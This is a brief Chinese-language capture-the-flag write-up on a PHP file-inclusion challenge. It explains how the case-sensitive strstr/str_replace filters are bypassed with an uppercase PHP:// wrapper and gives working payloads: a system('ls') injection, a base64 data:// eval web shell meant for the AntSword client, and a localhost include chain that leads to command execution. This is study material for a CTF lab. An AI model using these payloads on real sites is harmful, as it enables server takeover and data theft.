本题考查文件包含
代码分析:第一句中的 show_source() 函数是 highlight_flie()的别称,第二句是get传参给hello,在这里可以构造payload :?hello=1
然后看到strstr()函数,它是区分大小写的,在本题代码中传给page的参数中包含php://时会自动过滤,且不能使用Php://的大小写绕过,但是可以尝试用大写绕过PHP://
然后是 str_replace() 函数,同样区分大小写,它会把传给page的参数中的php://替换为空,大写可以绕过
解法:
1、可以使用bp传参
直接连接bp在空白处写,然后看到文件夹直接cat就行了。
<?php system('ls');?>
2、使用data://伪协议读取文件
将<?php eval($_POST[shell]);?>进行base64加密(构造的payload中的shell可以随意替换,这值是连接蚁剑的密钥),然后构建
payload: ?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTs/Pg==
然后连接蚁剑就可以了
3、利用最开始的payload:?hello= 可以回显这个条件,可以命令执行
构造payload:?page=http://127.0.0.1/?hello=<?php system("ls")?>
这种方法根本没想到,师傅们tql
此文章借鉴了yingyugo师傅的方法